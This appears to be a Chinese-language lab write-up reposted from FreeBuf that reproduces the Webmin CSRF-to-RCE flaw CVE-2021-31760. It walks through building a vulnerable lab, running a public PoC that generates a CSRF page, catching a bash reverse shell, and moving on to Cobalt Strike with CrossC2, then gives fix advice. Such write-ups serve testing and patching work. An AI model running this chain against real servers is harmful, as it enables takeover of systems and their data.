CVE-2021-31760 Webmin 跨站请求伪造漏洞
2022-6-17 18:47:50 Author: www.freebuf.com(查看原文) 阅读量:7 收藏

0x00 漏洞介绍

Webmin是基于Web的界面的用于类Unix的系统管理工具。远程攻击者可以通过社工管理员,通过CSRF漏洞以及XSS漏洞,实现获取服务器信息,远程服务器的代码执行例如bash反弹,进而控制并接管服务器。属于Web应用类的高危漏洞。简单一句话:Webmin 1.973及更低版本,如果使用setup.pl脚本安装Webmin,则会出现XSS漏洞(CVE-2021-31760、CVE-2021-31761、CVE-2021-31762)

0x01 漏洞环境

CSRF需要攻击者、客户端管理员、服务器三者配合才能实现,我这里为了省事方便,将客户端和服务端都放在了ubuntu18上面。

  • 攻击机:192.168.91.135 kali-2021

  • 目标机+网站管理员:192.168.91.137 Ubuntu 18.04 Desktop(64)

  • 工具:https://192.168.91.137:10000、火狐浏览器(CSRF漏洞复现时,不能使用谷歌浏览器,谷歌浏览器自带屏蔽CSRF)

  • Webmin版本:Webmin 1.973

0x02 漏洞搭建

1、下载webmin安装包

wget http://prdownloads.sourceforge.net/webadmin/webmin_1.973_all.deb

2、安装相关的依赖文件

apt-get install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl apt-show-versions python unzip

3、安装webmin

dpkg -i webmin_1.973_all.deb  #如果这个不行,就试试下面的这个
dpkg -i webmin_1.973_all.deb.1 #多试试,还有可能有.2的

安装完成后,系统默认开启10000端口,链接访问即可:https://192.168.91.137:10000

image-20220112154930627

4、由于我这里是用Deb安装,其实是不存在漏洞的,为了重现漏洞环境,将/etc/webmin/config文件中的referers_none=1改为referers_none=0即可

image-20220112155319223

0x03 影响范围

Webmin版本<=1.973

0x04 漏洞条件

1、服务器webmin版本<=1.973并且使用setup.pl脚本安装

2、客户端管理员登陆到webmin成功,不关闭浏览器且不退出登陆的同时,新建标签页打开攻击者构造的html网页

3、客户端管理员以root身份登陆到网站

0x05 漏洞原理

1、管理员利用了非推荐的setup.pl脚本安装了版本<=1.973webmin,致使默认情况下不会启用检查未知引用的程序,即/etc/webmin/config中无referers_none=1此行代码,也就不存在referer字段验证,产生CSRF漏洞。

image-20220112115422237

2、攻击者可通过精心伪造登陆界面,向/proc/run.cgicmd参数通过POST方式提交命令执行的代码,进而控制整个服务器。

image-20220112115638146

image-20220112115958228

0x06 漏洞复现

1、目标机管理员以root正常登陆https://192.168.91.137:10000 webmin页面,账号为root,密码默认为系统的

image-20220112120729408

image-20220112120747395

2、攻击机下载POC

github原项目:proxychains git clone https://github.com/electronicbots/CVE-2021-31760
github备用网址:proxychains git clone https://github.com/sukusec301/CVE-2021-31760

3、启用此脚本,按照脚本逻辑依次填写目标IP、攻击机IP、攻击机监听端口、反弹shell类型信息

cd CVE-2021-31760
python3 RCE_eXploit.py

image-20220112120408209

4、进入CVE-2021-31760脚本文件夹,可以看到生成了CSRF_POC.html文件

image-20220112120924632

5、在此目录下打开终端,使用python3开启http服务

python3 -m http.server 5555

image-20220112121201774

6、在不关闭浏览器并且不退出当前登陆的情况下,新建标签页访问192.168.91.135:5555,点击访问CSRF_POC.html

image-20220112121310496

image-20220112121442066

7、可以看到Kali监听端口这里收到了目标机器的bash反弹

image-20220112121557530

8、启动CS服务与客户端

nohup ./teamserver 192.168.91.135 mima &		#后台启动,不占用前台资源
./cobaltstrike &								#后台启动,不占用前台资源

9、由于CS默认不支持Linux系统上线,所以需要安装一个插件——CrossC2(https://github.com/gloxec/CrossC2),并且CS导入CrossC2

image-20220112152635672

10、将获得的shell使用python一句话将其转换成交互式shell,随后CS CrossC2生成上线命令,使其上线

python3 -c "import pty;pty.spawn('/bin/bash')"

image-20220112141558379

image-20220112141615647

11、之后可以进行内网信息探测,内网渗透,在这里不再赘述。

0x07 漏洞修复建议

1、更新Webmin,使其版本达到1.973以上

2、次者,请使用标准的RPM、Deb、TAR和Solaris软件包安装,因为它们不使用setup.pl脚本安装webmin,因此不容易受到攻击

3、再次者,如果确实使用setup.pl脚本进行安装,则可以通过将行referers_none=1添加到/etc/webmin/config中来修复这个此漏洞

image-20220112154234903


文章来源: https://www.freebuf.com/articles/web/336582.html
如有侵权请联系:admin#unsafe.sh